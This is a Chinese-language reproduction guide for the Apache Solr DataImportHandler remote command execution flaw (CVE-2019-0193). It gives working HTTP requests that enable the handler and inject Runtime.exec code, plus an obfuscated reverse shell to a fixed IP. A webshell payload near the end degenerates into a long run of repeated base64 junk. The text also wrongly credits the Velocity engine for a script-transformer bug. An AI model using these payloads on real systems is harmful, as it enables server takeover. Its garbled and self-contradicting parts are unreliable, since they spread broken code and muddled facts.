# Apache Solr遠程命令執行漏洞復現分析
## 漏洞背景
Apache Solr是一個基于Lucene構建的開源企業級搜索平臺,廣泛應用于各類需要全文檢索功能的系統中。2019年10月,Apache Solr被曝出存在遠程命令執行漏洞(CVE-2019-0193),攻擊者可通過構造特定請求在目標服務器上執行任意命令。
## 漏洞原理
該漏洞源于Solr的DataImportHandler功能模塊。當開啟`dataImport`功能時,攻擊者可以通過DIH配置中的`dataConfig`參數注入惡意腳本,利用Solr的Velocity模板引擎實現遠程代碼執行。
關鍵點:
1. DataImportHandler默認不啟用但可通過API開啟
2. Velocity模板引擎允許執行Java代碼
3. 未對用戶輸入的`dataConfig`參數做充分過濾
## 環境搭建
### 實驗環境要求
- 操作系統:Linux/Windows
- Java環境:JDK 1.8+
- 漏洞版本:Apache Solr 8.1.1(其他受影響版本:5.0.0-8.2.0)
### 安裝步驟
```bash
# 下載漏洞版本Solr
wget https://archive.apache.org/dist/lucene/solr/8.1.1/solr-8.1.1.tgz
tar -xzf solr-8.1.1.tgz
cd solr-8.1.1
# 啟動Solr(默認端口8983)
bin/solr start -e cloud -noprompt
# 創建名為vuln的核心
bin/solr create_core -c vuln
發送以下HTTP請求開啟DIH功能:
POST /solr/vuln/config HTTP/1.1
Host: target:8983
Content-Type: application/json
{
"add-requesthandler": {
"name": "/dataimport",
"class": "org.apache.solr.handler.dataimport.DataImportHandler",
"defaults": {"config": null}
}
}
通過dataConfig
參數注入Velocity模板代碼:
POST /solr/vuln/dataimport?_=1625555555555 HTTP/1.1
Host: target:8983
Content-Type: application/x-www-form-urlencoded
command=full-import&verbose=false&clean=false&commit=true&debug=true&core=vuln&name=dataimport&dataConfig=
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
java.lang.Runtime.getRuntime().exec("touch /tmp/solr_rce_test");
]]></script>
<document>
<entity name="entity1"
url="https://example.com"
processor="XPathEntityProcessor"
forEach="/RDF/item"
transformer="script:">
</entity>
</document>
</dataConfig>
檢查目標服務器是否創建了測試文件:
ls -la /tmp/solr_rce_test
修改dataConfig
中的命令為反彈Shell(需URL編碼):
<![CDATA[
java.lang.Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}");
]]>
通過Java反射機制注入內存Webshell: “`java <![CDATA[ java.lang.Class.forName(“javax.script.ScriptEngineManager”) .newInstance() .getEngineByName(“JavaScript”) .eval(“new java.lang.ProcessBuilder[‘(java.lang.String[])’]([‘/bin/bash’,‘-c’,‘echo PDw8PDw+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。